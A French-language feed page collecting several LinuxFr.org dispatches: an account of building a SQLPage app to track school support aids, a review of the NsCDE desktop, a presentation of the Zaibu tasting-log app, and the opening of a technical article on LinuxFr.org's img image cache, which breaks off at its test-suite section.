    Bien que cette application soit encore en cours de développement et de test, je relate ici mon retour d’expérience car SQLPage, qui évolue rapidement, mérite d’être plus largement connue.

    Jusqu’à présent je n’avais jamais osé me lancer dans ce genre de développements — principalement à cause de la sécurisation des accès et à la gestion de bases de données — mais SQLPage est arrivé…

      Sommaire

      Besoins et cahier des charges

      Le directeur d’une grosse école (13 classes + ULIS) avait besoin de pouvoir suivre pluriannuellement les différentes aides mises en place pour les élèves rencontrant des difficultés, ceci afin que les enseignant⋅es (dont les membres du RASED) disposent d’un historique pour voir ce qui avait déjà été proposé et ainsi décider ce que l’on pourrait mettre en place sans perdre de temps ni redite. Bref, l’idée était de gagner en temps et en efficacité.

      Au niveau d’une seule école, un tableur LibreOffice Calc pouvait très bien faire l’affaire et suffire (ce classeur existe d’ailleurs) mais il ne pouvait pas être complété à distance et de façon collaborative facilement :
      Classeur LibreOffice Calc de suivi
      On aurait pu mettre en place un classeur sur le Nuage-Nextcloud des Apps Éducation proposé par l’Éducation nationale et travailler de façon collaborative en ligne ou en drive (pour profiter des macros). Mais cette solution n’est pas aisée à mettre en place, avec des problèmes de synchronisation et des conflits de version de fichiers (je le sais par expérience, car nous gérons l’absentéisme de cette façon et ça demande un gros accompagnement, chaque classe ayant son propre classeur que l’on doit retravailler par la suite pour faire des synthèses d’école).

      L’idée était donc de disposer d’une application Web, en ligne pour que les enseignant⋅es puissent intervenir, compléter les données facilement et directement.
      L’avantage de cette solution était aussi de disposer d’une application unique pour étendre par la suite son utilisation aux 4 écoles de la ville (voire d’une circonscription) si le projet est concluant : en effet, les infos des élèves de maternelle suivraient lors du passage à l’école élémentaire.
      Seulement voilà, se posent pas mal de contraintes notamment par rapport à la sécurisation des données et au niveau du RGPD, l’outil envisagé contenant des informations sensibles. Il était impossible d’envisager un développement en Html/CSS/Javascript/PHP de zéro (manque de temps et de compétences). Et c’est là, que j’ai découvert l’existence de SQLPage qui paraissait répondre à nos inquiétudes avec des accès sécurisés, tout en étant à la portée de « débutant⋅es », à travers le récit de l’auteur de l’application « École Inclusive ».

      Début de l’aventure

      L’application « École Inclusive », bien que conçue pour le second degré, pouvait être adaptée à nos besoins plus modestes et a donc servi de base de départ : c’est beaucoup plus facile de partir de l’existant que d’une page blanche où il faut tout construire. Il s’est avéré que nous n’avions pas besoin de toutes les fonctionnalités et qu’il a fallu reprendre les logiques de fonctionnement mais la base étant là, c’était très rassurant d’autant que l'auteur de « École Inclusive » et le concepteur de SQLPage, très disponibles, étaient là pour m’éclairer, me conseiller ou rajouter des fonctionnalités au fil de mes demandes via les pages GitHub de leur projet respectif. Il faut rajouter que le site de SQLPage, conçu avec SQLPage ;-), regorge de ressources avec une documentation (en anglais) très claire et facilitante avec des exemples.
      Il est vrai que ce concept de programmation est assez déstabilisant au début : ne passer que par des fichiers .sql (ou presque) pour développer un site Web, ça paraît inadapté. Mais, une fois qu’on est rentré dedans, on se rend compte que pour le type d’application qu’on recherchait, c’est tout bonnement bluffant et terriblement efficace.
      Ce qui est aussi facilitant, c’est la possibilité d’utiliser des bases sqlite ne nécessitant pas la mise en place d’un serveur de type MySQL ou PostGreSQL rajoutant de la complexité. Mais SQLPage fonctionne aussi avec ces serveurs si on en a l’utilité : ce point est intéressant, car le temps consacré pour se former à SQLPage pourra être réinvesti avec d’autres types de bases de données.

      Matériel, données techniques et application ASDAEL

      Pour des tests les plus proches du fonctionnement prévu (on verra que ça changera), j’ai utilisé un NAS perso Synology 713+ sous DSM 7.1 avec un accès extérieur. Toutes les infos sont là pour ceux et celles que ça intéresse : https://lofurol.fr/joomla/logiciels-libres/104-bases-de-donnees/349-sqlpage-utilisation-sur-un-nas-synology-avec-docker-et-mysql-postgresql-sqlite.
      Toujours dans un souci de partage, les sources de l’application de suivi des aides sont disponibles sur la « Forge des communs numériques éducatifs » ou Forge Éduc, le GitLab mis à disposition par l’Éducation nationale pour favoriser le partage et le développement de ressources numériques pour l’enseignement.
      Source du projet: https://forge.apps.education.fr/thierrym/suivi-aides-eleves-ecoles

      Utilisation locale due au RGPD et à la sécurisation des données

      Cette application n’ayant pas reçu de soutien officiel et vu qu’elle contient des données sensibles sur les élèves (bien que ces données ne soient accessibles qu’aux seul⋅es enseignant⋅es concerné⋅es par le suivi des élèves), il a été décidé de ne pas exposer l’application sur Internet, comme prévu initialement. Elle sera donc installée sur un ordinateur localement sans accès de l’extérieur le temps de la tester. Après, il sera toujours possible d’évoluer vers une utilisation réellement en ligne si les essais sont concluants (et avec un audit sur la sécurité).
      Et là, encore une fois, l’application est très bien faite, car elle fait office de serveur web et il suffit de saisir son adresse ip sur le port 8080 pour y accéder à partir d’un autre ordinateur sur le même réseau. On ne peut pas faire plus simple (pas besoin de se monter un serveur Apache/Ngnix) !!!

      Pour lancer l’expérimentation, j’ai récupéré un “vieil” ordinateur HP 260 G2 Mini (Intel Pentium 4405U, 4 Go de Ram et HD de 100 Go) sur lequel j’ai installé Ubuntu 24.04 Server (avec accès SSH) avec le bureau Mate et Docker pour faire fonctionner les conteneurs Portainer et Adminer pour éventuellement agir sur la base de données SQLite.
      J’ai ensuite installé SQLPage avec mes fichiers dans un dossier « ASDAEL » à la racine de mon home puis configurer un démarrage automatique lançant SQLPage et Firefox pointant vers la page « localhost:8080 ».

      Captures d’écran

      Structure de la base de données
      Structure de la base de données

      Page d’accueil :
      Accueil

      Page de connexion :
      Page de connexion

      Localisation des écoles :
      Liste des écoles

      Liste des élèves suivi⋅es :
      Liste des élèves suivi⋅es

      Fiche individuelle de suivi :
      Fiche individuelle de suivi

      Vue synthétique du parcours de l’élève :
      Vue synthétique

      Page de paramétrage :
      Page de paramétrage

      Perspectives

      Avec l’arrivée du Livret de Parcours Inclusif (LPI) peut-être que ce genre d’applications ne sera plus utile… d’autant qu’elles n’ont aucun soutien institutionnel et qu’en l’état actuel elles ne peuvent être utilisées que localement, ce qui réduit pas mal leur intérêt.
      Mais l’idée de ASDAEL est d’obtenir rapidement une vision synthétique des différentes aides mises en place pour l’ensemble des élèves tout au long des années en facilitant leurs saisies, ce que ne permettra certainement pas le LPI.
      À suivre… ?

      Commentaires : voir le flux Atom ouvrir dans le navigateur

      • ✇LinuxFr.org : les dépêches
      • Not so Common Desktop Environment (NsCDE), un paradigme différent
        Not so Common Desktop Environment reproduit fidèlement Common Desktop Environment dit CDE, classique des Unix des années 90. Mais pourquoi puisque CDE est libre ? Eh bien pour faire mieux ! NsCDE est plus léger, plus complet, plus souple. NsCDE est sorti en version 2.3 le 20 juin 2023. C'est un petit projet qui s'appuie sur un thème pour FVWM et quelques utilitaires de son cru. Le reste, c'est un thème pour les applications GTK et Qt. Poussant le mimétisme jusqu'à reproduire le script shell du

      Not so Common Desktop Environment (NsCDE), un paradigme différent

      Not so Common Desktop Environment reproduit fidèlement Common Desktop Environment dit CDE, classique des Unix des années 90. Mais pourquoi puisque CDE est libre ? Eh bien pour faire mieux ! NsCDE est plus léger, plus complet, plus souple.

      NsCDE est sorti en version 2.3 le 20 juin 2023. C'est un petit projet qui s'appuie sur un thème pour FVWM et quelques utilitaires de son cru. Le reste, c'est un thème pour les applications GTK et Qt. Poussant le mimétisme jusqu'à reproduire le script shell du premier démarrage, NsCDE vous demande quels doivent être votre terminal, votre gestionnaire de fichier, votre éditeur, etc. Ce n'est pas mal de pouvoir choisir ! Comme c'est assez abouti il n'y a pas eu de nouveaux développements depuis.

      Impressions après quelques jours d'utilisation

      J'ai trouvé l'ensemble agréable et cohérent, certes un peu brutal visuellement, mais on n'est pas devant un thème, c'est un paradigme de fonctionnement différent. Avec un peu d'habitude on peut bosser sans surprises.

      Un exemple sur la gestion des fenêtres, différente du monde Win/Mac qui est le paradigme habituel sur la plupart des bureaux Linux :

      Elles se déplacent encore par la barre de titre, mais pour le reste les trois clics de souris sont utilisés. 
      Le bouton de gauche est trois choses à la fois : un menu déroulé par un clic gauche, un menu étendu déroulé par un clic droit et une boite de dialogue affichée par un clic centre ; la fenêtre se ferme avec un deuxième-clic rapproché dans le temps (clic gauche ou droit) ou un double clic aussi.
      À droite, un bouton agrandit la fenêtre avec beaucoup de possibilités selon le clic gauche, centre ou droit et selon la séquence de clics ; un deuxième bouton réduit la fenêtre : clic gauche pour l'icônifier, clic droit pour l'enrouler. Icônifiée, un clic droit l'agrandit, les clics gauche et centre ouvrent des menus.

      NsCDE ne propose qu'un minimum d'utilitaires, il ne s'agit pas de tout intégrer façon KDE ou Gnome, mais plutôt de fournir un environnement de travail pour interagir avec vos programmes préférés. Testez-le pour découvrir autre chose que le fonctionnement habituel. Le libre vous permet de choisir, sortez des sentiers battus.

      En tout cas ne l'installez pas pour sa légèreté, Liam Proven l'utilisant avec des composants XFCE l'a trouvé plus léger que les autres, mais il est plus lourd que KDE 3.

      image à remplacer

      L'influence de CDE à travers des anecdotes

      C'est moche, hein ? Et pourtant le design de CDE a influencé d'autres environnements de bureau :

      • Le présentation manager d'OS/2 a influencé l'aspect de Win 3 et CDE, mais réciproquement le LaunchPad d'OS/2 v3 reproduit le lanceur CDE.
      • XFCE 3 reproduisait le lanceur CDE : XFCE 3 avec le thème Motif
      • Et même KDE, dont le nom serait un jeu de mots avec Kool Desktop Environment (personne ne s'en souvient vraiment, on trouve d'autres explications).
      • À la même époque, Silicon Graphics avait pris un chemin différent avec IRIX Interactive Desktop. D'après mon cousin, qui passait de la PAO sur Mac à la 3D sous Irix, c'était très ergonomique et ça valait bien le Mac. Il n'a jamais eu besoin d'ouvrir un terminal. Irix

      Installation

      NsCDE propose quelques paquets tout prêt pour Fedora, Suse, Ubuntu, Debian et Slackware ainsi qu'un gros Tarball à décompresser dans /opt.

      Je vous recommande de l'utiliser sous un compte de test, sinon NsCDE va pourrir votre bureau habituel avec ses boites de dialogue et ses thèmes Firefox, LibreOffice, etc. En plus, NsCDE n'a pas de script de désinstallation, il sauvegarde vos paramètres Gtk et Qt, mais seulement jusqu'aux versions 4 et 5.

      Évitez d'y lancer des applications Gnome à cause des menus et fenêtres, sauf si vous installez gtk3-nocsd (no client side decoration). Préférer les applications légères et simples de LXDE/LXQt, Mate, XFCE, … Ou encore les applis Motifs/X11, le thème NsCDE leur ira comme un gant.

      Tester CDE

      Si vous tenez à essayer le vrai CDE pour voir comment c'était, il y a un CD Live sous Debian.

      Commentaires : voir le flux Atom ouvrir dans le navigateur

      • ✇LinuxFr.org : les dépêches
      • Zaibu, une alternative libre pour les amateurs de dégustation
        Cette dépêche présente Zaibu, une application web auto-hébergeable permettant de conserver un journal structuré de ses dégustations de bières et de vins. Développée avec SQLPage, elle met l’accent sur la simplicité, l’indépendance et le respect de la vie privée. Contrairement aux solutions centralisées comme Untappd ou Vivino, Zaibu ne collecte aucune donnée et reste entièrement sous le contrôle de l’utilisateur. Note : n’ayant absolument aucune compétence ni aucun talent en graphisme, le l

      Zaibu, une alternative libre pour les amateurs de dégustation

      Cette dépêche présente Zaibu, une application web auto-hébergeable permettant de conserver un journal structuré de ses dégustations de bières et de vins. Développée avec SQLPage, elle met l’accent sur la simplicité, l’indépendance et le respect de la vie privée. Contrairement aux solutions centralisées comme Untappd ou Vivino, Zaibu ne collecte aucune donnée et reste entièrement sous le contrôle de l’utilisateur.

      Logo de Zaibu

      Note : n’ayant absolument aucune compétence ni aucun talent en graphisme, le logo a été créé avec Bing Image Creator et retravaillé et vectorisé par mes soins. Je sais, çaymal.

      Sommaire

      L’alcool est dangereux pour la santé, même en petite quantité. Le vin et la bière, comme les autres alcools, induisent une dépendance et tuent. Il est recommandé de ne pas consommer plus de 2 verres par jour, et de ne pas boire d’alcool au moins 2 jours par semaine. Si vous avez des doutes sur votre consommation, n’hésitez pas à contacter un professionnel de santé.

      Pourquoi créer Zaibu ?

      Zaibu répond avant tout à un besoin très concret : garder une trace de ses dégustations de boissons (uniquement bières et vins pour l’instant) sans dépendre d’applications trop encombrées ou propriétaires qui exploitent les données de leurs utilisateurs.

      Ce projet est en fait l’évolution d’un simple fichier texte mis en forme selon une structure plus ou moins régulière. Il était à l’origine partagé via Nextcloud, un service de stockage et de synchronisation de fichiers, libre et auto-hébergeable. Pour passer de ce fichier brut à une véritable application, plusieurs outils ont été utilisés:

      • Makefile : un fichier de configuration pour GNU Make, permettant d’automatiser diverses tâches (ici, la conversion du fichier texte).
      • Gawk : une version libre de l’outil AWK, qui lit et transforme le contenu du fichier texte pour l’adapter au format voulu.
      • textql : un utilitaire en ligne de commande qui interprète des fichiers texte (CSV, TSV…) comme des tables SQL, ce qui facilite le chargement des données dans une base SQLite.

      Grâce à cette chaîne d’outils, le fichier texte initial a pu être converti en une base de données exploitable, pour ensuite alimenter l’application Zaibu.

      Pour ceux qui collectionnent les bouteilles comme d’autres collectionnent les timbres, c’est un outil pratique et léger, conçu pour être maîtrisé de bout en bout : le code source est distribué sous licence libre (AGPLv3), l’application est facile à héberger sur son propre serveur, et consomme très peu de ressources.

      Un objectif secondaire était de tester les capacités de l’outil SQLPage pour le développement rapide d’applications de gestion de données.

      Un besoin personnel

      Il peut être difficile de se souvenir d’une bonne bière artisanale goûtée l’année passée ou du vin qui vous a tant plu à un mariage. Un carnet de notes ou un tableau dans un logiciel de bureautique peuvent dépanner, mais on s’y perd vite, et ce n’est pas toujours très pratique à consulter sur son téléphone quand on est en pleine dégustation.

      Zaibu propose un formulaire simple où vous pouvez renseigner le nom, le producteur, le style, l’amertume, le taux d’alcool, vos impressions… Une fois la dégustation terminée, vous conservez une trace précise, consultable à tout moment. En un coup d’œil, vous pouvez comparer vos différents coups de cœur ou vous rappeler pourquoi un vin particulier ne vous avait pas convaincu.

      Une occasion de tester SQLPage

      Zaibu a aussi été conçu comme une démonstration technique. Il a servi de terrain d’expérimentation pour un nouvel outil, SQLPage, qui permet de créer une application web de gestion et d’affichage de données complète sans s’encombrer de milliers de lignes de code. En partant de requêtes de bases de données très simples, on obtient un site fonctionnel rapidement.

      Ici il s’agit d’une application de type CRUD dans sa plus simple expression, donc parfaitement adaptée à être écrite en pur SQL. Même si certains traitements nécessitent de se creuser un peu plus la tête quand rien d’autre n’est disponible, il existe généralement une manière d’arriver à ses fins (et on découvre parfois avec bonheur des subtilités du langage qu’on ignorait !).

      C’est le framework parfait pour créer rapidement ses propres outils tout en gardant la maîtrise complète de sa donnée, en utilisant une base de données que l’on peut héberger soi-même facilement.

      Une approche libre et auto-hébergeable

      De nombreuses applications existent déjà, mais elles imposent souvent la création d’un compte, exploitent les données des utilisateurs et monétisent leur activité via la publicité ou des abonnements. Zaibu prend le contre-pied en offrant une solution entièrement libre, légère et indépendante.

      L’application repose sur SQLite, un système de gestion de base de données qui se distingue des bases de données traditionnelles comme MySQL ou PostgreSQL. Contrairement à ces dernières, qui nécessitent un serveur dédié fonctionnant en arrière-plan pour gérer les requêtes et stocker les informations, SQLite est une base de données embarquée.

      Cela signifie que toutes les données sont enregistrées directement dans un fichier unique sur l’ordinateur ou le serveur où l’application est installée. Il n’y a donc pas besoin d’installer et de configurer un logiciel supplémentaire pour gérer la base de données. Cette approche simplifie considérablement l’installation et l’utilisation de l’application, surtout pour des utilisateurs qui ne sont pas familiers avec l’administration de serveurs.

      Et puis bien sûr, son code est ouvert. C’est comme une bière artisanale : vous savez exactement quels ingrédients sont utilisés, comment ils interagissent, et si l’envie vous prend, vous pouvez modifier la recette pour l’adapter à vos préférences. Vous pouvez la brasser tel quel, y ajouter une touche personnelle, ou même la partager améliorée avec d’autres passionnés. Ici, tout est transparent et modifiable.

      Une interface simple et accessible

      Pensée pour une utilisation mobile et desktop, l’interface de Zaibu permet d’ajouter rapidement une dégustation, sans fioritures. Sur smartphone, il devient facile de consulter ses notes en magasin ou chez un caviste pour retrouver une référence appréciée ou éviter une déception.

      capture d'écran du menu principal de l'interface mobile

      capture d'écran du formulaire de saisie de dégustation de bière de l'interface desktop

      Et maintenant ?

      Zaibu est encore jeune et perfectible. L’application pourrait évoluer avec des fonctionnalités comme le partage entre utilisateurs ou l’intégration d’une base collaborative… N’hésitez pas à faire vos retours dans les commentaires !

      Et si le principe vous intéresse, vous pouvez aussi découvrir Mon petit potager du même auteur et construit sur le même framework, cette fois pour suivre les récoltes de son jardin et la pluviométrie.

      Commentaires : voir le flux Atom ouvrir dans le navigateur

      • ✇LinuxFr.org : les dépêches
      • img, le cache d’images sur LinuxFr.org
        Le site LinuxFr.org utilise divers logiciels libres pour son fonctionnement et ses services : une large majorité provient de projets tiers (Debian, MariaDB, Redis - version d’avant le changement de licence, nginx, Postfix, conteneurs LXC et Docker, Ruby On Rails, Sympa, etc.) et d’autres composants sont développés pour nos propres besoins. Cette dernière catégorie comprend le code principal du site web en Ruby On Rails, et principalement 5 services autour : le cache d’images img, la tribune boar

      img, le cache d’images sur LinuxFr.org

      Le site LinuxFr.org utilise divers logiciels libres pour son fonctionnement et ses services : une large majorité provient de projets tiers (Debian, MariaDB, Redis - version d’avant le changement de licence, nginx, Postfix, conteneurs LXC et Docker, Ruby On Rails, Sympa, etc.) et d’autres composants sont développés pour nos propres besoins. Cette dernière catégorie comprend le code principal du site web en Ruby On Rails, et principalement 5 services autour : le cache d’images img, la tribune board, le convertisseur EPUB 3 epub, le partageur sur les réseaux sociaux share et le convertisseur LaTeX vers SVG svg. Cette dépêche va s’intéresser à img, un code sous AGPLv3.

      Elle est née d’une envie personnelle d’expliquer, documenter et montrer ce qui a été fait sur le cache d’images de LinuxFr.org, complétée d’une demande d’un « article technique sur le fonctionnement de ce cache, les choix techniques qui ont été faits, les erreurs commises donc à éviter… ».

        Sommaire

        Des images sur le site

        LinuxFr.org vous permet d’utiliser des images externes dans les contenus et commentaires du site. Ces images sont incluses en syntaxe markdown avec ![description textuelle](adresse "titre optionnel") (soit en saisissant directement du Markdown, soit en cliquant sur l’icône d’ajout d’image dans l’éditeur). Profitons-en pour rappeler que pour utiliser une image sur LinuxFr.org, vous devez vous assurer de respecter sa licence.

        Nous vous encourageons donc à utiliser des images sous licence libre et à citer les auteurs (c’est même obligatoire pour les licences CC-by et CC-by-sa). Cette citation est tirée de la dépêche d’annonce Un nouveau reverse-proxy cache pour les images externes sur LinuxFr.org de 2012.

        Il est aussi recommandé de mettre une vraie description textuelle, qui finira dans l’attribut alt de la balise img utilisée pour l’accessibilité ou si l’image ne peut être chargée. Il peut être utile de lui donner un titre qui apparaîtra l’autre du survol de l’image à la souris par exemple.

        Exemple :

        ![Logo LinuxFr.org](https://linuxfr.org/images/logos/linuxfr2_classic_back.png "L’actualité du logiciel libre et des sujets voisins (DIY, Open Hardware, Open Data, les Communs, etc.), sur un site francophone contributif géré par une équipe bénévole par et pour des libristes enthousiastes.")

        Logo LinuxFr.org

        Buts du cache d’images

        Les raisons évoquées à la mise en place de img (sans ordre particulier) :

        • la sécurité : si une image externe n’est servie qu’en HTTP (en clair donc) et est appelée au milieu d’une page LinuxFr.org elle-même servie en HTTPS, alors le navigateur va râler sur le mélange des genres. img permet de servir toutes les images identiquement (par exemple en HTTPS, et avec le certificat de LinuxFr.org, via le serveur frontal devant img). À noter que ces images ne sont pas servies directement depuis le domaine principal linuxfr.org mais depuis un sous-domaine img.linuxfr.org pour éviter que le JavaScript embarqué dans les images en SVG puisse servir de vecteur d’attaque contre le site.
        • la protection de la vie privée des personnes visitant LinuxFr.org : seul LinuxFr.org voit les informations en provenance de leur navigateur (dont l’adresse IP). Les équipes d’administration des différents sites ne les voient plus (elles voient l’adresse IP du serveur LinuxFr.org).
        • une meilleure gestion du trafic : au lieu d’envoyer tout notre public chercher individuellement chaque image, LinuxFr.org la récupère une fois et la rend disponible. Si le site externe fournissant l’image est un serveur à faibles ressources (liaison ADSL avec faible débit montant par exemple), la mise en cache permet de garantir qu’il ne recevra qu’un faible volume de requêtes (la récupération se faisant initialement toutes les 10 min tant que des demandes arrivent, le cache expirant après 10 min).
        • la conservation des images : les images incluses depuis des sites externes peuvent ne plus être disponibles (l’entité a disparu, le serveur a été arrêté, le domaine a été perdu, l’adresse a changé, etc.). Nous avons donc un mécanisme de cache pour que nous puissions continuer à servir une image même si elle devient indisponible.

        Parmi les conséquences de cette implémentation initiale, on peut citer :

        • si le fichier est changé sur le serveur distant (modifié, converti dans un autre format), l’ancien fichier est servi jusqu’à la prochaine récupération et le nouveau fichier ne sera servi qu’à la prochaine récupération ;
        • si le fichier est supprimé sur le serveur distant, l’image ne sera plus servie après la prochaine récupération (car le serveur a répondu que l’image n’existe plus) ;
        • il est possible de modifier l’image au passage : les images d’avatar sont retaillées pour une hauteur de 64 pixels par exemple ;
        • il est possible de bloquer des images : les images problématiques (pub/spam, contenus pour adultes, images injurieuses, etc.) peuvent être bloquées et ne plus être servies ;
        • par ailleurs img n’accepte de servir que les images connues de LinuxFr.org dont le poids fait moins de 5 MiB.

        À l’utilisation

        Lors de l’écriture d’un commentaire ou d’un contenu sur LinuxFr.org, une personne va ajouter une image externe via la syntaxe Markdown, par exemple ![Logo LinuxFr.org](https://linuxfr.org/images/logos/linuxfr2_classic_back.png)

        Ce qui donne à l’affichage :

        Logo LinuxFr.org

        Et côté code HTML :

        <img src="https://linuxfr.org/images/logos/linuxfr2_classic_back.png" alt="Logo LinuxFr.org">

        OK, mauvais exemple ce n’est pas une image externe, puisqu’elle est hébergée sur LinuxFr.org justement. Prenons un autre exemple ![April - Campagne d’adhésion](https://april.org/campagne-2024/relais/banniereCampagneApril.svg).

        Ce qui donne à l’affichage :

        April - Campagne d’adhésion

        Et côté code :

        <img src="//img.linuxfr.org/img/68747470733a2f2f617072696c2e6f72672f63616d7061676e652d323032342f72656c6169732f62616e6e6965726543616d7061676e65417072696c2e737667/banniereCampagneApril.svg" alt="April - Campagne d’adhésion" title="Source : https://april.org/campagne-2024/relais/banniereCampagneApril.svg">

        Donc on sert l’image via le sous-domaine img.linuxfr.org. On peut aussi noter le titre rempli automatiquement avec la source. Expliquons la nouvelle adresse :

        • // on sert en https si la page est en https et en http si la page est en http (c’est plutôt un oubli qu’autre chose, vu que le site est uniquement en https)
        • img.linuxfr.org on sert depuis un sous-domaine du site
        • 68747470733a2f2f617072696c2e6f72672f63616d7061676e652d323032342f72656c6169732f62616e6e6965726543616d7061676e65417072696c2e737667 est la version en texte-vers-hexadécimal de l’adresse d’origine (68 pour h, 74 pour t (deux fois), 70 pour p, etc.). Il existe des sites et des outils en local pour faire cette conversion, mais cela ne concerne pas la simple utilisation du site.
        • banniereCampagneApril.svg on met à la fin le nom du fichier pour être sympa si vous voulez sauver l’image en local avec un nom plus explicite

        Ceci était le cas où tout se passe bien, comme prévu, comme le voulait la personne qui voulait utiliser une image externe.

        Voyons maintenant ce qui se passe dans le cas pas si rare où la personne a donné une adresse d’image invalide, une adresse ne pointant pas vers une image vers autre chose (cas extrêmement fréquent), une image trop grosse (plus de 5 MiB), etc. Il se passe la même chose côté code, mais côté affichage, pas d’image, et on voit seulement le texte alternatif dans son navigateur. Dans les coulisses, img a répondu 404, cette adresse n’est pas disponible.

        On note donc qu’une même image servie en http:// ou en https:// aura une adresse convertie en hexadécimal différente, donc sera vue comme une autre image par img. Même chose si le serveur externe accepte des adresses sans tenir compte de la casse, ou si on rajoute des paramètres dans l’adresse comme « ?mot_magique=merci ».

        Côté code Ruby on Rails

        Un contenu ou commentaire est en cours de création et une image externe a été mentionnée. Le code de gestion des images va vérifier que l’image est déclarée dans redis (créer l’entrée img/<adresse> avec adresse l’adresse de l’image en clair, ajouter un champ created_at avec l’horodatage, ajouter l’adresse dans la liste des dernières images img/latest) et renvoyer l’adresse via img.

        Le code peut aussi modifier le champ status d’une image dans redis pour mettre ou enlever un blocage (valeur Blocked) par l’équipe du site, et l’ajouter/enlever de la liste des images bloquées img/blocked.

        Côté img

        Les schémas dans la documentation du service img explicitent les possibilités et les comportements.

        Il est possible de faire un GET /status et on obtient une réponse HTTP 200 avec un contenu OK. C’est utile pour tester que le service est lancé (depuis l’intérieur de la plateforme).

        Sinon, on peut envoyer des requêtes GET /img/<adresse_en_hexa> or GET /img/<adresse_en_hexa>/<nom_de_fichier> pour les images, et GET /avatars/<adresse_en_hexa> ou GET /avatars/<adresse_en_hexa>/<nom_de_fichier> pour les avatars.

        En se limitant aux requêtes légitimes, le comportement de img est le suivant :

        • l’adresse demandée a été précédemment déclarée (dans redis par la partie code Ruby On Rails) sinon il répond 404 ;
        • l’adresse demandée n’est pas bloquée par l’équipe du site sinon il répond 404 ;
        • l’adresse est déjà dans le cache disque, alors il renvoie l’image ;
        • l’adresse n’est pas dans le cache disque et la récupération échoue, il renvoie 404 (et va noter temporairement l’échec dans img/err/<uri>) ;
        • l’adresse n’est pas dans le cache disque et la récupération a lieu (noté temporairement dans img/update/<uri>): si le serveur répond positivement à la demande, avec une image comme attendue, pas trop volumineuse, alors on la met en cache disque. Si c’est un avatar, on peut retailler l’image. On aura des champs supplémentaires stockés type avec la nature de l’image (en-tête Content-Type), checksum avec un hachage SHA1 et etag avec la valeur ETag (entête ETag).

        Le cache est rafraîchi régulièrement.

        img est un binaire statique en Go. Il offre des options pour définir le couple adresse:port d’écoute, pour définir où envoyer les logs, pour se connecter à une base redis, pour définir le répertoire du cache disque, pour choisir le User-Agent qui sera utilisé pour les requêtes externes, pour définir l’avatar qui sera renvoyé par défaut, et la possibilité de le lancer uniquement en mode audit interne pour vérifier la cohérence et l’état des données et des fichiers.

        Dans les logs on va trouver des infos comme :

        2024/10/20 20:39:24 Status code of http://example.invalid/exemple1.png is: 404
        2024/10/20 20:39:24 Fail to fetch http://example.invalid/exemple1.png (serve from disk cache anyway)
        2024/10/20 20:44:12 Fetch http://example.invalid/exemple2.png (image/png) (ETag: "be5e-4dba836030980")
        2024/10/20 20:44:12 http://example.invalid/exemple3.png has an invalid content-type: text/html;charset=UTF-8
        2024/10/20 20:44:12 Fail to fetch http://example.invalid/exemple3.png (serve from disk cache anyway)
        

        Ici l’exemple 1 est déjà en cache et peut être servi même si on échoue à le récupérer à ce moment-là. L’exemple 2 vient d’être récupéré. L’exemple 3 a désormais une adresse invalide (qui renvoie une page HTML au lieu d’une image) mais il existe en cache une image précédemment récupérée.

        Historique

        img a été créé par Bruno Michel en 2012. Adrien Kunysz amène 5 commits en novembre 2013, mais globalement Bruno est le seul à travailler dessus (43 commits) jusqu’en 2018. img fait le job et il n’est pas besoin d’y retoucher trop souvent.

        En 2022, Bruno quitte l’équipe du site, et par ailleurs il y a des montées de versions et des migrations à faire sur les serveurs de LinuxFr.org, et img fait partie des services à reprendre en main. Ce qui veut dire le comprendre, le documenter et au besoin l’améliorer.

        Bref je décide de me plonger dans img (2022-2024), car a priori ce n’est pas le composant le plus compliqué du site (il vit dans son coin, il offre une interface, c’est du Go, donc on a un binaire seulement à gérer).

        Étape 1 : je vais commencer par ajouter un Dockerfile permettant de recompiler img dans un conteneur, en contrôlant la version de Go utilisée, en effectuant une détection d’éventuelles vulnérabilités au passage avec govulncheck. Cela me permet de valider que l’on sait produire le binaire d’une part, et que l’on offre à tout le monde la possibilité de contribuer facilement sur ce composant.

        Étape 2 : je vais tester le composant pour vérifier qu’il fonctionne comme je le pense et qu’il fait ce qu’on attend de lui. Je vais ajouter une suite des tests qui couvrent les différentes fonctionnalités et les vérifient en IPv4 et en IPv6, en HTTP 1.1 et en HTTP 2.0. Les tests utilisent Hurl et docker-compose (avec des images redis et nginx), et encore une fois l’idée de donner la possibilité de contribuer facilement. Ils comprennent des tests de types de contenus non pris en charge, le test de la limite à 5 MiB, différents types d’images, le test de vie, des appels erronés (mauvais chemin, mauvaise méthode, etc). Le choix des cas de tests est basé sur le trafic réellement constaté sur le serveur de production, sur les différents cas dans le code et un peu sur l’expérience du testeur.

        Étape 2,5 : l’avatar par défaut renvoie sur le site de production, y compris sur les tests en développement en local et sur le serveur de test du site. J’en profite pour ajouter un paramètre pour cela (et cela permettra de passer du PNG au SVG par défaut).

        Étape 3 : encore une fois essayons de simplifier la vie d’hypothétiques personnes contributrices. Une petite modification pour que hurl et redis soient fournis via docker-compose et ne soient plus nécessaires sur le poste de développement.

        Étape 4 : il est temps de documenter plus le fonctionnement. J’avais déjà décrit les infos stockées dans redis, mais pour comprendre le système de cache, autant fournir des diagrammes pour illustrer ce qui se passe lors d’une requête et comment on passe d’un état à un autre. C’est aussi l’occasion de compléter la suite de tests en ajoutant des tests avant et après expiration du cache, histoire de pouvoir documenter ces cas précis.

        Étape 5 : en cas d’échec de récupération, une image était indisponible jusqu’à la prochaine récupération (donc potentiellement pendant 10 min). Autant servir l’ancienne version en cache lorsque cela se produit : je modifie le code et les tests en conséquence.

        Étape 6 : je sais que certaines images ont été perdues, que des adresses d’images ont toujours été erronées, que des contenus et commentaires ont été supprimés et qu’il n’y a donc plus lieu de garder les images associées. Je décide d’implémenter dans img un audit interne qui indiquera si des anomalies sont présentes dans redis, si des images sont indisponibles ou si des entrées dans le cache disque ne correspondent plus à aucune image. Et j’ajoute cet audit dans la suite de tests.

        Étape 7 : j’écris une dépêche pour parler de tout cela.

        Évolutions récentes

        Dockerfile

        Le fichier Dockerfile du projet permet :

        • de partir d’une image officielle Go d’une version donnée, basée sur une distribution minimale Alpine
        • de l’utiliser pendant la construction en prenant la liste des dépendances, en les téléchargeant, en prenant l’unique fichier source img.go et en le compilant statiquement avec l’option pour retirer les chemins de compilation
        • de rechercher les éventuelles vulnérabilités avec govulncheck
        • d’ajouter le paquet tzdata pour avoir les définitions fuseaux horaires (nécessaire pour les conversions de/vers GMT pour les entêtes type Last-Modified).
        • de repartir d’une base Alpine en y mettant les définitions de fuseaux horaires et le binaire issus de la partie construction, de déclarer le port d’écoute et de lancer le binaire avec des variables disposant de valeurs par défaut.

        La suite de tests

